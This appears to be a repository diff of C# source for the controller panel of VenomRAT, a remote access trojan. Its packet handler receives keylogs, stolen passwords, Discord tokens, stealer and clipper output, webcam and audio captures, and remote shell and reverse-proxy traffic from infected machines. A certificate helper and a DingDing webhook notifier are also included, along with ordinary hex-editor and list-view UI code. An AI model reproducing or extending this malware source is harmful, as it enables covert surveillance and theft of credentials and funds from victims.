formWebcam2.Client = client;
formWebcam2.timer1.Start();
string[] array = unpack_msgpack.ForcePathObject("List").AsString.Split(new string[1] { "-=>" }, StringSplitOptions.None);
foreach (string text in array)
{
if (!string.IsNullOrWhiteSpace(text))
{
formWebcam2.comboBox1.Properties.Items.Add(text);
}
}
formWebcam2.comboBox1.SelectedIndex = 0;
if (formWebcam2.comboBox1.Text == "None")
{
client.Disconnected();
return;
}
formWebcam2.comboBox1.Enabled = true;
formWebcam2.button1.Enabled = true;
formWebcam2.btnSave.Enabled = true;
formWebcam2.numericUpDown1.Enabled = true;
formWebcam2.labelWait.Visible = false;
formWebcam2.button1.PerformClick();
}
else
{
client.Disconnected();
}
}
catch
{
}
}
}

8
Handle_Packet/LogMsg.cs Normal file
View File

@ -0,0 +1,8 @@
namespace Server.Handle_Packet;
public class LogMsg
{
public string Time { get; set; }
public string Msg { get; set; }
}

View File

@ -0,0 +1,12 @@
namespace Server.Handle_Packet;
public class NetStatItem
{
public string id { get; set; }
public string local { get; set; }
public string remote { get; set; }
public string state { get; set; }
}

188
Handle_Packet/Packet.cs Normal file
View File

@ -0,0 +1,188 @@
using System;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Threading;
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Server.Connection;
using Server.Forms;
namespace Server.Handle_Packet;
public class Packet
{
public Clients client;
public byte[] data;
private HandleReverseProxy ReverseProxyHandler => Program.ReverseProxyHandler;
public void Read(object o)
{
try
{
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes(data);
Program.mainform.Invoke((MethodInvoker)delegate
{
switch (unpack_msgpack.ForcePathObject("Pac_ket").AsString)
{
case "dosAdd":
break;
case "ClientInfo":
ThreadPool.QueueUserWorkItem(delegate
{
new HandleListView().HandleMsgPack(client, unpack_msgpack);
});
break;
case "init_reg":
new HandleLogs().Addmsg("Initiated All Dll Plugins on " + client.Ip + ".", Color.Red);
break;
case "Ping":
new HandlePing().Ping(client, unpack_msgpack);
client.LastPing = DateTime.Now;
break;
case "HvncPing":
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").SetAsString("Po_ng");
ThreadPool.QueueUserWorkItem(client.Send, msgPack.Encode2Bytes());
break;
}
case "Po_ng":
new HandlePing().Po_ng(client, unpack_msgpack);
client.LastPing = DateTime.Now;
break;
case "offlinelog":
{
string asString4 = unpack_msgpack.ForcePathObject("log").GetAsString();
string text = Path.Combine(Application.StartupPath, "ClientsFolder", client.Ip, DateTime.Now.ToString("yyyy-MM-dd HH-mm-ss") + " offline_keylog.log");
File.WriteAllText(text, asString4);
Process.Start(text);
new HandleLogs().Addmsg("Offline key log on " + client.Ip + " is saved to " + text + ".", Color.Black);
break;
}
case "Logs":
new HandleLogs().Addmsg("From " + client.Ip + " client: " + unpack_msgpack.ForcePathObject("Message").AsString, Color.Black);
break;
case "thumbnails":
client.ID = unpack_msgpack.ForcePathObject("Hwid").AsString;
new HandleThumbnails(client, unpack_msgpack);
break;
case "Received":
new HandleListView().Received(client);
client.LastPing = DateTime.Now;
break;
case "Error":
{
string asString7 = unpack_msgpack.ForcePathObject("Error").AsString;
File.AppendAllText("error.log", asString7);
break;
}
case "remoteDesktop":
new HandleRemoteDesktop().Capture(client, unpack_msgpack);
break;
case "processManager":
new HandleProcessManager().GetProcess(client, unpack_msgpack);
break;
case "netstat":
new HandleNetstat().GetProcess(client, unpack_msgpack);
break;
case "socketDownload":
new HandleFileManager().SocketDownload(client, unpack_msgpack);
break;
case "keyLogger":
new HandleKeylogger(client, unpack_msgpack);
break;
case "fileManager":
new HandleFileManager().FileManager(client, unpack_msgpack);
break;
case "shell":
new HandleShell(unpack_msgpack, client);
break;
case "reportWindow":
new HandleReportWindow(client, unpack_msgpack.ForcePathObject("Report").AsString);
break;
case "reportWindow-":
{
if (Settings.ReportWindow)
{
lock (Settings.LockReportWindowClients)
{
Settings.ReportWindowClients.Add(client);
break;
}
}
MsgPack msgPack2 = new MsgPack();
msgPack2.ForcePathObject("Pac_ket").AsString = "reportWindow";
msgPack2.ForcePathObject("Option").AsString = "stop";
ThreadPool.QueueUserWorkItem(client.Send, msgPack2.Encode2Bytes());
break;
}
case "webcam":
new HandleWebcam(unpack_msgpack, client);
break;
case "sendPlugin":
ThreadPool.QueueUserWorkItem(delegate
{
client.SendPlugin(unpack_msgpack.ForcePathObject("Hashes").AsString);
});
break;
case "fileSearcher":
new HandleFileSearcher().SaveZipFile(client, unpack_msgpack);
break;
case "Information":
new HandleInformation().AddToInformationList(client, unpack_msgpack);
break;
case "Password":
new HandlePassword().SavePassword(client, unpack_msgpack);
break;
case "Audio":
new HandleAudio().SaveAudio(client, unpack_msgpack);
break;
case "recoveryPassword":
new HandleRecovery(client, unpack_msgpack);
break;
case "discordRecovery":
new HandleDiscordRecovery(client, unpack_msgpack);
break;
case "regManager":
new HandleRegManager().RegManager(client, unpack_msgpack);
break;
case "fun":
new HandleFun().Fun(client, unpack_msgpack);
break;
case "stealer":
new HandleStealer().SaveData(client, unpack_msgpack);
break;
case "clipper":
_ = unpack_msgpack.ForcePathObject("Hwid").AsString;
new HandleLogs().Addmsg("Clipper is started on " + client.Ip + "!", Color.Red);
break;
case "ReverseProxy":
ReverseProxyHandler.Execute(client, unpack_msgpack);
break;
case "runningapp":
{
string asString5 = unpack_msgpack.ForcePathObject("hwid").AsString;
string asString6 = unpack_msgpack.ForcePathObject("value").AsString;
((FormTimerKeylog)Application.OpenForms[asString5 + ":TimerKeylog"])?.LoadRunningApp(asString6);
break;
}
case "filterinfo":
{
string asString = unpack_msgpack.ForcePathObject("hwid").AsString;
string asString2 = unpack_msgpack.ForcePathObject("running").AsString;
string asString3 = unpack_msgpack.ForcePathObject("apps").AsString;
((FormTimerKeylog)Application.OpenForms[asString + ":TimerKeylog"])?.LoadInfos(asString3, asString2);
break;
}
}
});
}
catch
{
}
}
}

62
Helper/AeroListView.cs Normal file
View File

@ -0,0 +1,62 @@
using System;
using System.Windows.Forms;
namespace Server.Helper;
internal class AeroListView : ListView
{
private const uint WM_CHANGEUISTATE = 295u;
private const short UIS_SET = 1;
private const short UISF_HIDEFOCUS = 1;
private readonly IntPtr _removeDots = new IntPtr(MakeWin32Long(1, 1));
private ListViewColumnSorter LvwColumnSorter { get; set; }
public static int MakeWin32Long(short wLow, short wHigh)
{
return (wLow << 16) | wHigh;
}
public AeroListView()
{
SetStyle(ControlStyles.AllPaintingInWmPaint | ControlStyles.OptimizedDoubleBuffer, value: true);
LvwColumnSorter = new ListViewColumnSorter();
base.ListViewItemSorter = LvwColumnSorter;
base.View = View.Details;
base.FullRowSelect = true;
}
protected override void OnHandleCreated(EventArgs e)
{
base.OnHandleCreated(e);
if (Environment.OSVersion.Platform == PlatformID.Win32NT && Environment.OSVersion.Version.Major >= 6)
{
NativeMethods.SetWindowTheme(base.Handle, "explorer", null);
}
if (Environment.OSVersion.Platform == PlatformID.Win32NT && Environment.OSVersion.Version.Major >= 5)
{
NativeMethods.SendMessage(base.Handle, 295u, _removeDots, IntPtr.Zero);
}
}
protected override void OnColumnClick(ColumnClickEventArgs e)
{
base.OnColumnClick(e);
if (e.Column == LvwColumnSorter.SortColumn)
{
LvwColumnSorter.Order = ((LvwColumnSorter.Order != SortOrder.Ascending) ? SortOrder.Ascending : SortOrder.Descending);
}
else
{
LvwColumnSorter.SortColumn = e.Column;
LvwColumnSorter.Order = SortOrder.Ascending;
}
if (!base.VirtualMode)
{
Sort();
}
}
}

26
Helper/AsyncTask.cs Normal file
View File

@ -0,0 +1,26 @@
using System;
using System.Collections.Generic;
using MessagePackLib.MessagePack;
namespace Server.Helper;
public class AsyncTask
{
public MsgPack msgPack;
public string id;
public List<string> doneClient;
public string title { get; set; }
public string cnt => $"{doneClient.Count}";
public AsyncTask(MsgPack _msgPack, string _title)
{
msgPack = _msgPack;
id = Guid.NewGuid().ToString();
doneClient = new List<string>();
title = _title;
}
}

128
Helper/ByteConverter.cs Normal file
View File

@ -0,0 +1,128 @@
using System;
using System.Collections.Generic;
using System.Text;
namespace Server.Helper;
public class ByteConverter
{
private static byte NULL_BYTE;
public static byte[] GetBytes(int value)
{
return BitConverter.GetBytes(value);
}
public static byte[] GetBytes(long value)
{
return BitConverter.GetBytes(value);
}
public static byte[] GetBytes(uint value)
{
return BitConverter.GetBytes(value);
}
public static byte[] GetBytes(ulong value)
{
return BitConverter.GetBytes(value);
}
public static byte[] GetBytes(string value)
{
return StringToBytes(value);
}
public static byte[] GetBytes(string[] value)
{
return StringArrayToBytes(value);
}
public static int ToInt32(byte[] bytes)
{
return BitConverter.ToInt32(bytes, 0);
}
public static long ToInt64(byte[] bytes)
{
return BitConverter.ToInt64(bytes, 0);
}
public static uint ToUInt32(byte[] bytes)
{
return BitConverter.ToUInt32(bytes, 0);
}
public static ulong ToUInt64(byte[] bytes)
{
return BitConverter.ToUInt64(bytes, 0);
}
public static string ToString(byte[] bytes)
{
return BytesToString(bytes);
}
public static string[] ToStringArray(byte[] bytes)
{
return BytesToStringArray(bytes);
}
private static byte[] GetNullBytes()
{
return new byte[2] { NULL_BYTE, NULL_BYTE };
}
private static byte[] StringToBytes(string value)
{
byte[] array = new byte[value.Length * 2];
Buffer.BlockCopy(value.ToCharArray(), 0, array, 0, array.Length);
return array;
}
private static byte[] StringArrayToBytes(string[] strings)
{
List<byte> list = new List<byte>();
foreach (string value in strings)
{
list.AddRange(StringToBytes(value));
list.AddRange(GetNullBytes());
}
return list.ToArray();
}
private static string BytesToString(byte[] bytes)
{
char[] array = new char[(int)Math.Ceiling((float)bytes.Length / 2f)];
Buffer.BlockCopy(bytes, 0, array, 0, bytes.Length);
return new string(array);
}
private static string[] BytesToStringArray(byte[] bytes)
{
List<string> list = new List<string>();
int i = 0;
StringBuilder stringBuilder = new StringBuilder(bytes.Length);
while (i < bytes.Length)
{
int num = 0;
for (; i < bytes.Length; i++)
{
if (num >= 3)
{
break;
}
if (bytes[i] == NULL_BYTE)
{
num++;
continue;
}
stringBuilder.Append(Convert.ToChar(bytes[i]));
num = 0;
}
list.Add(stringBuilder.ToString());
stringBuilder.Clear();
}
return list.ToArray();
}
}

View File

@ -0,0 +1,41 @@
using System;
using System.Security.Cryptography.X509Certificates;
using Org.BouncyCastle.Asn1.X509;
using Org.BouncyCastle.Crypto;
using Org.BouncyCastle.Crypto.Generators;
using Org.BouncyCastle.Crypto.Operators;
using Org.BouncyCastle.Crypto.Parameters;
using Org.BouncyCastle.Math;
using Org.BouncyCastle.Security;
using Org.BouncyCastle.X509;
using Org.BouncyCastle.X509.Extension;
namespace Server.Helper;
public static class CreateCertificate
{
public static X509Certificate2 CreateCertificateAuthority(string caName, int keyStrength)
{
SecureRandom random = new SecureRandom();
RsaKeyPairGenerator rsaKeyPairGenerator = new RsaKeyPairGenerator();
rsaKeyPairGenerator.Init(new KeyGenerationParameters(random, keyStrength));
AsymmetricCipherKeyPair asymmetricCipherKeyPair = rsaKeyPairGenerator.GenerateKeyPair();
X509V3CertificateGenerator x509V3CertificateGenerator = new X509V3CertificateGenerator();
X509Name issuerDN = new X509Name("CN=" + caName + ",OU=qwqdanchun,O=VenomRAT By qwqdanchun,L=SH,C=CN");
X509Name subjectDN = new X509Name("CN=VenomRAT");
BigInteger serialNumber = BigInteger.ProbablePrime(160, new SecureRandom());
x509V3CertificateGenerator.SetSerialNumber(serialNumber);
x509V3CertificateGenerator.SetSubjectDN(subjectDN);
x509V3CertificateGenerator.SetIssuerDN(issuerDN);
x509V3CertificateGenerator.SetNotAfter(DateTime.UtcNow.Subtract(new TimeSpan(-3650, 0, 0, 0)));
x509V3CertificateGenerator.SetNotBefore(DateTime.UtcNow.Subtract(new TimeSpan(285, 0, 0, 0)));
x509V3CertificateGenerator.SetPublicKey(asymmetricCipherKeyPair.Public);
x509V3CertificateGenerator.AddExtension(X509Extensions.SubjectKeyIdentifier, critical: false, new SubjectKeyIdentifierStructure(asymmetricCipherKeyPair.Public));
x509V3CertificateGenerator.AddExtension(X509Extensions.BasicConstraints, critical: true, new BasicConstraints(cA: true));
ISignatureFactory signatureCalculatorFactory = new Asn1SignatureFactory("SHA512WITHRSA", asymmetricCipherKeyPair.Private, random);
return new X509Certificate2(DotNetUtilities.ToX509Certificate(x509V3CertificateGenerator.Generate(signatureCalculatorFactory)))
{
PrivateKey = DotNetUtilities.ToRSA(asymmetricCipherKeyPair.Private as RsaPrivateCrtKeyParameters)
};
}
}

45
Helper/DingDing.cs Normal file
View File

@ -0,0 +1,45 @@
using System;
using System.IO;
using System.Net;
using System.Security.Cryptography;
using System.Text;
using System.Web;
using Newtonsoft.Json;
namespace Server.Helper;
internal class DingDing
{
public static void Send(string WebHook, string secret, string content)
{
_ = DateTime.Now - new DateTime(1970, 1, 1, 0, 0, 0, 0);
long num = (DateTime.Now.ToUniversalTime().Ticks - 621355968000000000L) / 10000;
string s = num + "\n" + secret;
ASCIIEncoding aSCIIEncoding = new ASCIIEncoding();
byte[] bytes = aSCIIEncoding.GetBytes(secret);
byte[] bytes2 = aSCIIEncoding.GetBytes(s);
string text;
using (HMACSHA256 hMACSHA = new HMACSHA256(bytes))
{
text = HttpUtility.UrlEncode(Convert.ToBase64String(hMACSHA.ComputeHash(bytes2)), Encoding.UTF8);
}
string text2 = WebHook + "&timestamp=" + num + "&sign=" + text;
string s2 = JsonConvert.SerializeObject(new
{
msgtype = "text",
text = new { content }
});
Console.WriteLine(text2);
HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(text2);
httpWebRequest.Method = "POST";
httpWebRequest.ContentType = "application/json;charset=utf-8";
byte[] bytes3 = Encoding.UTF8.GetBytes(s2);
httpWebRequest.ContentLength = bytes3.Length;
using (Stream stream = httpWebRequest.GetRequestStream())
{
stream.Write(bytes3, 0, bytes3.Length);
}
using StreamReader streamReader = new StreamReader(((HttpWebResponse)httpWebRequest.GetResponse()).GetResponseStream(), Encoding.UTF8);
streamReader.ReadToEnd();
}
}

View File

@ -0,0 +1,66 @@
using System;
using System.Collections.Generic;
namespace Server.Helper.HexEditor;
public class ByteCollection
{
private List<byte> _bytes;
public int Length => _bytes.Count;
public ByteCollection()
{
_bytes = new List<byte>();
}
public ByteCollection(byte[] bytes)
{
_bytes = new List<byte>(bytes);
}
public void Add(byte item)
{
_bytes.Add(item);
}
public void Insert(int index, byte item)
{
_bytes.Insert(index, item);
}
public void Remove(byte item)
{
_bytes.Remove(item);
}
public void RemoveAt(int index)
{
_bytes.RemoveAt(index);
}
public void RemoveRange(int startIndex, int count)
{
_bytes.RemoveRange(startIndex, count);
}
public byte GetAt(int index)
{
return _bytes[index];
}
public void SetAt(int index, byte item)
{
_bytes[index] = item;
}
public char GetCharAt(int index)
{
return Convert.ToChar(_bytes[index]);
}
public byte[] ToArray()
{
return _bytes.ToArray();
}
}

184
Helper/HexEditor/Caret.cs Normal file
View File

@ -0,0 +1,184 @@
using System;
using System.Drawing;
using System.Runtime.InteropServices;
namespace Server.Helper.HexEditor;
public class Caret
{
private int _startIndex;
private int _endIndex;
private bool _isCaretActive;
private bool _isCaretHidden;
private Point _location;
private HexEditor _editor;
public int SelectionStart
{
get
{
if (_endIndex < _startIndex)
{
return _endIndex;
}
return _startIndex;
}
}
public int SelectionLength
{
get
{
if (_endIndex < _startIndex)
{
return _startIndex - _endIndex;
}
return _endIndex - _startIndex;
}
}
public bool Focused => _isCaretActive;
public int CurrentIndex => _endIndex;
public Point Location => _location;
public event EventHandler SelectionStartChanged;
public event EventHandler SelectionLengthChanged;
public Caret(HexEditor editor)
{
_editor = editor;
_isCaretActive = false;
_startIndex = 0;
_endIndex = 0;
_isCaretHidden = true;
_location = new Point(0, 0);
}
private bool Create(IntPtr hWHandler)
{
if (!_isCaretActive)
{
_isCaretActive = true;
return CreateCaret(hWHandler, IntPtr.Zero, 0, (int)_editor.CharSize.Height - 2);
}
return false;
}
private bool Show(IntPtr hWnd)
{
if (_isCaretActive)
{
_isCaretHidden = false;
return ShowCaret(hWnd);
}
return false;
}
public bool Hide(IntPtr hWnd)
{
if (_isCaretActive && !_isCaretHidden)
{
_isCaretHidden = true;
return HideCaret(hWnd);
}
return false;
}
public bool Destroy()
{
if (_isCaretActive)
{
_isCaretActive = false;
DeSelect();
DestroyCaret();
}
return false;
}
public void SetStartIndex(int index)
{
_startIndex = index;
_endIndex = _startIndex;
if (this.SelectionStartChanged != null)
{
this.SelectionStartChanged(this, EventArgs.Empty);
}
if (this.SelectionLengthChanged != null)
{
this.SelectionLengthChanged(this, EventArgs.Empty);
}
}
public void SetEndIndex(int index)
{
_endIndex = index;
if (this.SelectionStartChanged != null)
{
this.SelectionStartChanged(this, EventArgs.Empty);
}
if (this.SelectionLengthChanged != null)
{
this.SelectionLengthChanged(this, EventArgs.Empty);
}
}
public void SetCaretLocation(Point start)
{
Create(_editor.Handle);
_location = start;
SetCaretPos(_location.X, _location.Y);
Show(_editor.Handle);
}
public bool IsSelected(int byteIndex)
{
if (SelectionStart <= byteIndex)
{
return byteIndex < SelectionStart + SelectionLength;
}
return false;
}
private void DeSelect()
{
if (_endIndex < _startIndex)
{
_startIndex = _endIndex;
}
else
{
_endIndex = _startIndex;
}
if (this.SelectionStartChanged != null)
{
this.SelectionStartChanged(this, EventArgs.Empty);
}
if (this.SelectionLengthChanged != null)
{
this.SelectionLengthChanged(this, EventArgs.Empty);
}
}
[DllImport("user32.dll", SetLastError = true)]
private static extern bool CreateCaret(IntPtr hWnd, IntPtr hBitmap, int nWidth, int nHeight);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool DestroyCaret();
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetCaretPos(int x, int y);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool ShowCaret(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool HideCaret(IntPtr hWnd);
}

View File

@ -0,0 +1,140 @@
using System;
using System.Drawing;
using System.Windows.Forms;
namespace Server.Helper.HexEditor;
public class EditView : IKeyMouseEventHandler
{
private HexViewHandler _hexView;
private StringViewHandler _stringView;
private HexEditor _editor;
public EditView(HexEditor editor)
{
_editor = editor;
_hexView = new HexViewHandler(editor);
_stringView = new StringViewHandler(editor);
}
public void OnKeyPress(KeyPressEventArgs e)
{
if (InHexView(_editor.CaretPosX))
{
_hexView.OnKeyPress(e);
}
else
{
_stringView.OnKeyPress(e);
}
}
public void OnKeyDown(KeyEventArgs e)
{
if (InHexView(_editor.CaretPosX))
{
_hexView.OnKeyDown(e);
}
else
{
_stringView.OnKeyDown(e);
}
}
public void OnKeyUp(KeyEventArgs e)
{
}
public void OnMouseDown(MouseEventArgs e)
{
if (e.Button == MouseButtons.Left)
{
if (InHexView(e.X))
{
_hexView.OnMouseDown(e.X, e.Y);
}
else
{
_stringView.OnMouseDown(e.X, e.Y);
}
}
}
public void OnMouseDragged(MouseEventArgs e)
{
if (e.Button == MouseButtons.Left)
{
if (InHexView(e.X))
{
_hexView.OnMouseDragged(e.X, e.Y);
}
else
{
_stringView.OnMouseDragged(e.X, e.Y);
}
}
}
public void OnMouseUp(MouseEventArgs e)
{
}
public void OnMouseDoubleClick(MouseEventArgs e)
{
if (e.Button == MouseButtons.Left)
{
if (InHexView(e.X))
{
_hexView.OnMouseDoubleClick();
}
else
{
_stringView.OnMouseDoubleClick();
}
}
}
public void OnGotFocus(EventArgs e)
{
if (InHexView(_editor.CaretPosX))
{
_hexView.Focus();
}
else
{
_stringView.Focus();
}
}
public void SetLowerCase()
{
_hexView.SetLowerCase();
}
public void SetUpperCase()
{
_hexView.SetUpperCase();
}
public void Update(int startPositionX, Rectangle area)
{
_hexView.Update(startPositionX, area);
_stringView.Update(_hexView.MaxWidth, area);
}
public void Paint(Graphics g, int startIndex, int endIndex)
{
for (int i = 0; i + startIndex < endIndex; i++)
{
_hexView.Paint(g, i, startIndex);
_stringView.Paint(g, i, startIndex);
}
}
private bool InHexView(int x)
{
return x < _hexView.MaxWidth + _editor.EntityMargin - 2;
}
}

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,316 @@
using System;
using System.Drawing;
using System.Windows.Forms;
namespace Server.Helper.HexEditor;
public class HexViewHandler
{
private bool _isEditing;
private string _hexType = "X2";
private Rectangle _recHexValue;
private StringFormat _stringFormat;
private HexEditor _editor;
public int MaxWidth => _recHexValue.X + _recHexValue.Width * _editor.BytesPerLine;
public HexViewHandler(HexEditor editor)
{
_editor = editor;
_stringFormat = new StringFormat(StringFormat.GenericTypographic);
_stringFormat.Alignment = StringAlignment.Center;
_stringFormat.LineAlignment = StringAlignment.Center;
}
public void OnKeyPress(KeyPressEventArgs e)
{
if (IsHex(e.KeyChar))
{
HandleUserInput(e.KeyChar);
}
}
public void OnKeyDown(KeyEventArgs e)
{
if (e.KeyCode == Keys.Delete || e.KeyCode == Keys.Back)
{
if (_editor.SelectionLength > 0)
{
HandleUserRemove();
int caretIndex = _editor.CaretIndex;
Point caretLocation = GetCaretLocation(caretIndex);
_editor.SetCaretStart(caretIndex, caretLocation);
}
else if (_editor.CaretIndex < _editor.LastVisibleByte && e.KeyCode == Keys.Delete)
{
_editor.RemoveByteAt(_editor.CaretIndex);
Point caretLocation2 = GetCaretLocation(_editor.CaretIndex);
_editor.SetCaretStart(_editor.CaretIndex, caretLocation2);
}
else if (_editor.CaretIndex > 0 && e.KeyCode == Keys.Back)
{
int index = _editor.CaretIndex - 1;
if (_isEditing)
{
index = _editor.CaretIndex;
}
_editor.RemoveByteAt(index);
Point caretLocation3 = GetCaretLocation(index);
_editor.SetCaretStart(index, caretLocation3);
}
_isEditing = false;
}
else if (e.KeyCode == Keys.Up && _editor.CaretIndex - _editor.BytesPerLine >= 0)
{
int num = _editor.CaretIndex - _editor.BytesPerLine;
if (num % _editor.BytesPerLine == 0 && _editor.CaretPosX >= _recHexValue.X + _recHexValue.Width * _editor.BytesPerLine)
{
Point location = new Point(_editor.CaretPosX, _editor.CaretPosY - _recHexValue.Height);
if (num == 0)
{
location = new Point(_editor.CaretPosX, _editor.CaretPosY);
num = _editor.BytesPerLine;
}
if (e.Shift)
{
_editor.SetCaretEnd(num, location);
}
else
{
_editor.SetCaretStart(num, location);
}
_isEditing = false;
}
else
{
HandleArrowKeys(num, e.Shift);
}
}
else if (e.KeyCode == Keys.Down && (_editor.CaretIndex - 1) / _editor.BytesPerLine < _editor.HexTableLength / _editor.BytesPerLine)
{
int num2 = _editor.CaretIndex + _editor.BytesPerLine;
if (num2 > _editor.HexTableLength)
{
num2 = _editor.HexTableLength;
HandleArrowKeys(num2, e.Shift);
return;
}
Point location2 = new Point(_editor.CaretPosX, _editor.CaretPosY + _recHexValue.Height);
if (e.Shift)
{
_editor.SetCaretEnd(num2, location2);
}
else
{
_editor.SetCaretStart(num2, location2);
}
_isEditing = false;
}
else if (e.KeyCode == Keys.Left && _editor.CaretIndex - 1 >= 0)
{
int index2 = _editor.CaretIndex - 1;
HandleArrowKeys(index2, e.Shift);
}
else if (e.KeyCode == Keys.Right && _editor.CaretIndex + 1 <= _editor.HexTableLength)
{
int index3 = _editor.CaretIndex + 1;
HandleArrowKeys(index3, e.Shift);
}
}
public void HandleArrowKeys(int index, bool isShiftDown)
{
Point caretLocation = GetCaretLocation(index);
if (isShiftDown)
{
_editor.SetCaretEnd(index, caretLocation);
}
else
{
_editor.SetCaretStart(index, caretLocation);
}
_isEditing = false;
}
public void OnMouseDown(int x, int y)
{
int num = (x - _recHexValue.X) / _recHexValue.Width;
int num2 = (y - _recHexValue.Y) / _recHexValue.Height;
num = ((num > _editor.BytesPerLine) ? _editor.BytesPerLine : num);
num = ((num >= 0) ? num : 0);
num2 = ((num2 > _editor.MaxBytesV) ? _editor.MaxBytesV : num2);
num2 = ((num2 >= 0) ? num2 : 0);
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= num2)
{
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= num)
{
num = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine;
}
num2 = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine;
}
int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + num + num2 * _editor.BytesPerLine);
int x2 = num * _recHexValue.Width + _recHexValue.X;
int y2 = num2 * _recHexValue.Height + _recHexValue.Y;
_editor.SetCaretStart(index, new Point(x2, y2));
_isEditing = false;
}
public void OnMouseDragged(int x, int y)
{
int num = (x - _recHexValue.X) / _recHexValue.Width;
int num2 = (y - _recHexValue.Y) / _recHexValue.Height;
num = ((num > _editor.BytesPerLine) ? _editor.BytesPerLine : num);
num = ((num >= 0) ? num : 0);
num2 = ((num2 > _editor.MaxBytesV) ? _editor.MaxBytesV : num2);
num2 = ((_editor.FirstVisibleByte <= 0) ? ((num2 >= 0) ? num2 : 0) : ((num2 < 0) ? (-1) : num2));
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= num2)
{
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= num)
{
num = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine;
}
num2 = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine;
}
int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + num + num2 * _editor.BytesPerLine);
int x2 = num * _recHexValue.Width + _recHexValue.X;
int y2 = num2 * _recHexValue.Height + _recHexValue.Y;
_editor.SetCaretEnd(index, new Point(x2, y2));
}
public void OnMouseDoubleClick()
{
if (_editor.CaretIndex < _editor.LastVisibleByte)
{
int index = _editor.CaretIndex + 1;
Point caretLocation = GetCaretLocation(index);
_editor.SetCaretEnd(index, caretLocation);
}
}
public void Update(int startPositionX, Rectangle area)
{
_recHexValue = new Rectangle(startPositionX, area.Y, (int)(_editor.CharSize.Width * 3f), (int)_editor.CharSize.Height - 2);
_recHexValue.X += _editor.EntityMargin;
}
public void Paint(Graphics g, int index, int startIndex)
{
Point byteColumnAndRow = GetByteColumnAndRow(index);
if (_editor.IsSelected(index + startIndex))
{
PaintByteAsSelected(g, byteColumnAndRow, index + startIndex);
}
else
{
PaintByte(g, byteColumnAndRow, index + startIndex);
}
}
private void PaintByteAsSelected(Graphics g, Point point, int index)
{
SolidBrush brush = new SolidBrush(_editor.SelectionBackColor);
SolidBrush brush2 = new SolidBrush(_editor.SelectionForeColor);
RectangleF bound = GetBound(point);
string s = _editor.GetByte(index).ToString(_hexType);
g.FillRectangle(brush, bound);
g.DrawString(s, _editor.Font, brush2, bound, _stringFormat);
}
private void PaintByte(Graphics g, Point point, int index)
{
SolidBrush brush = new SolidBrush(_editor.ForeColor);
RectangleF bound = GetBound(point);
string s = _editor.GetByte(index).ToString(_hexType);
g.DrawString(s, _editor.Font, brush, bound, _stringFormat);
}
public void SetLowerCase()
{
_hexType = "x2";
}
public void SetUpperCase()
{
_hexType = "X2";
}
public void Focus()
{
int caretIndex = _editor.CaretIndex;
Point caretLocation = GetCaretLocation(caretIndex);
_editor.SetCaretStart(caretIndex, caretLocation);
}
private Point GetCaretLocation(int index)
{
int x = _recHexValue.X + _recHexValue.Width * (index % _editor.BytesPerLine);
int y = _recHexValue.Y + _recHexValue.Height * ((index - (_editor.FirstVisibleByte + index % _editor.BytesPerLine)) / _editor.BytesPerLine);
return new Point(x, y);
}
private void HandleUserRemove()
{
int selectionStart = _editor.SelectionStart;
Point caretLocation = GetCaretLocation(selectionStart);
_editor.RemoveSelectedBytes();
_editor.SetCaretStart(selectionStart, caretLocation);
}
private void HandleUserInput(char key)
{
if (!_editor.CaretFocused)
{
return;
}
HandleUserRemove();
if (_isEditing)
{
_isEditing = false;
byte @byte = _editor.GetByte(_editor.CaretIndex);
@byte = (byte)(@byte + Convert.ToByte(key.ToString(), 16));
_editor.SetByte(_editor.CaretIndex, @byte);
int index = _editor.CaretIndex + 1;
Point caretLocation = GetCaretLocation(index);
_editor.SetCaretStart(index, caretLocation);
return;
}
_isEditing = true;
byte item = Convert.ToByte(key + "0", 16);
if (_editor.HexTable.Length == 0)
{
_editor.AppendByte(item);
}
else
{
_editor.InsertByte(_editor.CaretIndex, item);
}
int x = _recHexValue.X + _recHexValue.Width * (_editor.CaretIndex % _editor.BytesPerLine) + _recHexValue.Width / 2;
int y = _recHexValue.Y + _recHexValue.Height * ((_editor.CaretIndex - (_editor.FirstVisibleByte + _editor.CaretIndex % _editor.BytesPerLine)) / _editor.BytesPerLine);
_editor.SetCaretStart(_editor.CaretIndex, new Point(x, y));
}
private Point GetByteColumnAndRow(int index)
{
int x = index % _editor.BytesPerLine;
int y = index / _editor.BytesPerLine;
return new Point(x, y);
}
private RectangleF GetBound(Point point)
{
return new RectangleF(_recHexValue.X + point.X * _recHexValue.Width, _recHexValue.Y + point.Y * _recHexValue.Height, _recHexValue.Width, _recHexValue.Height);
}
private bool IsHex(char c)
{
if ((c < 'a' || c > 'f') && (c < 'A' || c > 'F'))
{
return char.IsDigit(c);
}
return true;
}
}

View File

@ -0,0 +1,23 @@
using System;
using System.Windows.Forms;
namespace Server.Helper.HexEditor;
public interface IKeyMouseEventHandler
{
void OnKeyPress(KeyPressEventArgs e);
void OnKeyDown(KeyEventArgs e);
void OnKeyUp(KeyEventArgs e);
void OnMouseDown(MouseEventArgs e);
void OnMouseDragged(MouseEventArgs e);
void OnMouseUp(MouseEventArgs e);
void OnMouseDoubleClick(MouseEventArgs e);
void OnGotFocus(EventArgs e);
}

Some files were not shown because too many files have changed in this diff Show More